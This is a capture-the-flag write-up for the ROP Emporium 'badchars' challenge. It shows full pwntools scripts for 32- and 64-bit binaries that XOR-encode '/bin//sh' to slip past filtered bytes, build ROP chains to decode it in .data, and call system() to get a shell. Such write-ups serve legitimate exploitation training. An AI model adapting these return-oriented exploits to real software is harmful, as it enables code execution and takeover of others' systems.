Badchars 32 Bit
Overall the objective still same, write "/bin/sh" string into memory and then execute system command with "/bin/string" as the argument, but we need to handle the Badchars (Bad Characters) in this challenge. Badchars are any character(s) that can terminate our crafted payload, such as null character ("\x00"), carriage return ("\x0D"), newline ("\x0A"), etc. So we need to make sure the payload that we crafted not containing any badchars. If we run the binary, it will print the information about which characters are the Badchars.
root@Perseverance:~/rop_emporium/badchars32# ./badchars32
badchars by ROP Emporium
32bits
badchars are: b i c / <space> f n s
>
We have eight bad characters: [b i c /
One of the ways to avoid Badchars is by encoding the payload using XOR operation. The idea is to encode the payload before sending it and then decodes after it already written in the memory. First, let’s find the EIP offset using Radare2.
root@Perseverance:~/rop_emporium/badchars32# r2 -de dbg.profile=profile.rr2 badchars32
Process with PID 4504 started...
= attach 4504 4504
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
[0xf7fc00b0]> dc
badchars by ROP Emporium
32bits
badchars are: b i c / <space> f n s
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44
EIP offset is 44. Find the writable memory section using readelf
command.
root@Perseverance:~/rop_emporium/badchars32# readelf --sections badchars32
There are 31 section headers, starting at offset 0x1a3c:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481dc 0001dc 000110 10 A 6 1 4
[ 6] .dynstr STRTAB 080482ec 0002ec 000099 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048386 000386 000022 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080483a8 0003a8 000020 00 A 6 1 4
[ 9] .rel.dyn REL 080483c8 0003c8 000020 08 A 5 0 4
[10] .rel.plt REL 080483e8 0003e8 000058 08 AI 5 24 4
[11] .init PROGBITS 08048440 000440 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048470 000470 0000c0 04 AX 0 0 16
[13] .plt.got PROGBITS 08048530 000530 000008 00 AX 0 0 8
[14] .text PROGBITS 08048540 000540 0003c2 00 AX 0 0 16
[15] .fini PROGBITS 08048904 000904 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048918 000918 000063 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0804897c 00097c 00004c 00 A 0 0 4
[18] .eh_frame PROGBITS 080489c8 0009c8 00014c 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000038 04 WA 0 0 4
[25] .data PROGBITS 0804a038 001038 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a040 001040 00002c 00 WA 0 0 32
[27] .comment PROGBITS 00000000 001040 000034 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 00192f 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 001074 000570 10 30 52 4
[30] .strtab STRTAB 00000000 0015e4 00034b 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
The .data section is writable. We will write the “/bin/sh” string into .data section but we need to write a few bytes after the start address because of the start address (0x0804a038) used by libc. In this case, I will write the string into “0x0804a03C” or 5 bytes after start address.
Below python script will XOR each character from “/bin//sh” string with a value (start from 0x00 and will increase by 1 if the result is in BadChars list) and then save what value it’s being XOR-ed with.
for i in sh_string:
encoded = ord(i) ^ xored_value[pos]
while encoded in badchars:
xored_value[pos] += 1
encoded = ord(i) ^ xored_value[pos]
encoded_sh_string += chr(encoded)
pos += 1
After encoding the “/bin//sh” strings, we need to find ROP chain to write the encoded strings into .data section using ROPGadget.
# ROPChain to write the encoded_sh_string into .data section
rop = p32(0x08048899) # pop esi ; pop edi ; ret
rop += encoded_sh_string[:4] # Write encoded "/bin" into ESI
rop += p32(data_addr) # Write destination address into EDI
rop += p32(0x08048893) # mov dword ptr [edi], esi ; ret (Move ESI value (encoded "/bin") into address that pointed by EDI)
rop += p32(0x08048899) # pop esi ; pop edi ; ret
rop += encoded_sh_string[4:] # Write encoded "//sh" into ESI
rop += p32(data_addr+4) # Write 4 bytes after destination address into EDI
rop += p32(0x08048893) # mov dword ptr [edi], esi ; ret (Move ESI value (encoded "//sh") into address that pointed by EDI)
On this point, we have successfully avoiding BadChars, now we need to find the ROPGadget to decode the encoded “/bin//sh” strings since the binary won’t understand the encoded strings. After decoding, we can call the system_plt using the “/bin//sh” as the argument to get the Shell.
# ROPChain to decode the encoded_sh_string
temp = data_addr
for i in range (0,8):
rop += p32(0x08048896) # pop ebx ; pop ecx ; ret
rop += p32(temp) # Write destination address into EBX
rop += p32(xored_value[i]) # Write the xored_value into ECX
rop += p32(0x08048890) # xor byte ptr [ebx], cl ; ret (XOR 1 byte of ECX with 1 byte of EBX)
temp += 1 # Increment the destination address by 1
Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
from pwn import *
def main():
junk = "A" * 44 # EIP Offset at 44
sh_string = "/bin//sh"
encoded_sh_string = ""
badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
xored_value = [0x0]*8 # XOR value array
pos = 0
data_addr = 0x0804a038 + 5 # .data section address +5 to write /bin//sh string
# Encode the /bin//sh string using XOR to avoid badchars
for i in sh_string:
encoded = ord(i) ^ xored_value[pos]
while encoded in badchars:
xored_value[pos] += 1
encoded = ord(i) ^ xored_value[pos]
encoded_sh_string += chr(encoded)
pos += 1
# ROPChain to write the encoded_sh_string into .data section
rop = p32(0x08048899) # pop esi ; pop edi ; ret
rop += encoded_sh_string[:4] # Write encoded "/bin"
rop += p32(data_addr) # Data section address
rop += p32(0x08048893) # mov dword ptr [edi], esi ; ret
rop += p32(0x08048899) # pop esi ; pop edi ; ret
rop += encoded_sh_string[4:] # Write encoded "//sh"
rop += p32(data_addr+4) # Data section address
rop += p32(0x08048893) # mov dword ptr [edi], esi ; ret
# ROPChain to decode the encoded_sh_string
temp = data_addr
for i in range (0,8):
rop += p32(0x08048896) # pop ebx ; pop ecx ; ret
rop += p32(temp) # Data section address
rop += p32(xored_value[i]) # the xored_value
rop += p32(0x08048890) # xor byte ptr [ebx], cl ; ret
temp += 1 # Move 1 byte
system_plt = p32(0x80484e0)
p = process("./badchars32")
payload = junk + rop + system_plt + "BBBB" + p32(data_addr)
p.sendlineafter("s\n> ", payload)
p.interactive()
if __name__ == "__main__":
main()
Run the script and get the Shell.
root@Perseverance:~/rop_emporium/badchars32# ./badchars32.py
[+] Starting local process './badchars32': pid 12794
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
Badchars 64 Bit
Let’s find the RIP offset using Radare2.
root@Perseverance:~/rop_emporium/badchars# r2 -de dbg.profile=profile.rr2 badchars
Process with PID 11193 started...
= attach 11193 11193
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7f8a6d353090]> dc
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x004009de]> pxq 8@rsp
0x7ffeb74aca58 0x41415041414f4141 AAOAAPAA
[0x004009de]> wopO 0x41415041414f4141
40
[0x004009de]>
RIP offset is 40. Find the writable memory section using readelf
command.
root@Perseverance:~/rop_emporium/badchars# readelf --sections badchars
There are 31 section headers, starting at offset 0x1d08:
--snipped--
[19] .init_array INIT_ARRAY 0000000000600e10 00000e10
0000000000000008 0000000000000000 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000600e18 00000e18
0000000000000008 0000000000000000 WA 0 0 8
[21] .jcr PROGBITS 0000000000600e20 00000e20
0000000000000008 0000000000000000 WA 0 0 8
[22] .dynamic DYNAMIC 0000000000600e28 00000e28
00000000000001d0 0000000000000010 WA 6 0 8
[23] .got PROGBITS 0000000000600ff8 00000ff8
0000000000000008 0000000000000008 WA 0 0 8
[24] .got.plt PROGBITS 0000000000601000 00001000
0000000000000070 0000000000000008 WA 0 0 8
[25] .data PROGBITS 0000000000601070 00001070
0000000000000010 0000000000000000 WA 0 0 8
[26] .bss NOBITS 0000000000601080 00001080
0000000000000030 0000000000000000 WA 0 0 32
--snipped--
The .data section is writable. We will write the “/bin/sh” string into .data section but we need to write a few bytes after the start address because of the start address (0x601070) used by libc. In this case, I will write the string into “0x601074” or 4 bytes after start address.
Below python script will XOR each character from “/bin//sh” string with a value (start from 0x00 and will increase by 1 if the result is in BadChars list) and then save what value it’s being XOR-ed with.
for i in sh_string:
encoded = ord(i) ^ xored_value[pos]
while encoded in badchars:
xored_value[pos] += 1
encoded = ord(i) ^ xored_value[pos]
encoded_sh_string += chr(encoded)
pos += 1
After encoding the “/bin//sh” strings, we need to find ROP chain to write the encoded strings into .data section using ROPGadget.
# ROPChain to write the encoded_sh_string into .data section
rop = p64(0x0000000000400b3b) # pop r12; pop r13; ret
rop += encoded_sh_string # Write Encoded "/bin//sh" into R12
rop += p64(data_addr) # Write destination address into R13
rop += p64(0x0000000000400b34) # mov qword ptr [r13], r12 ; ret (Move R12 value into the address that pointed by R13)
On this point, we have successfully avoiding BadChars, now we need to find the ROPGadget to decode the encoded “/bin//sh” strings since the binary won’t understand the encoded strings. After decoding, we can call the system_plt using the “/bin//sh” as the argument to get the Shell.
# ROPChain to decode the encoded_sh_string
temp = data_addr
for i in range (0,8):
rop += p64(0x0000000000400b40) # pop r14 ; pop r15 ; ret
rop += p64(xored_value[i]) # write the xored value into R14
rop += p64(temp) # write the destination address into R15
rop += p64(0x0000000000400b30) # xor byte ptr [r15], r14b ; ret (XOR 1 byte of R15 with 1 byte of R14)
temp += 1 # Increment the destination address by 1
Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
import sys
from pwn import *
def main():
junk = "A" * 40 # RIP Offset at 40
sh_string = "/bin//sh"
encoded_sh_string = ""
badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
xored_value = [0x0]*8 # XOR valued array
pos = 0
data_addr = 0x601074 # .data section address
# Encode the /bin//sh string using XOR to avoid badchars
for i in sh_string:
encoded = ord(i) ^ xored_value[pos]
while encoded in badchars:
xored_value[pos] += 1
encoded = ord(i) ^ xored_value[pos]
encoded_sh_string += chr(encoded)
pos += 1
# ROPChain to write the encoded_sh_string into .data section
rop = p64(0x0000000000400b3b) # pop r12; pop r13; ret
rop += encoded_sh_string # Encoded SH STRING
rop += p64(data_addr) # Data section address
rop += p64(0x0000000000400b34) # mov qword ptr [r13], r12 ; ret
# ROPChain to decode the encoded_sh_string
temp = data_addr
for i in range (0,8):
rop += p64(0x0000000000400b40) # pop r14 ; pop r15 ; ret
rop += p64(xored_value[i]) # the xored_value
rop += p64(temp) # Data section address
rop += p64(0x0000000000400b30) # xor byte ptr [r15], r14b ; ret
temp += 1 # Move 1 byte
rop += p64(0x0000000000400b39) # pop rdi; ret
system_addr = p64(0x4006f0)
p = process("./badchars")
payload = junk + rop + p64(data_addr) + system_addr
p.sendlineafter("s\n> ", payload)
p.interactive()
if __name__ == "__main__":
main()
Run the script and get the Shell.
root@Perseverance:~/rop_emporium/badchars# ./badchars.py
[+] Starting local process './badchars': pid 11396
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}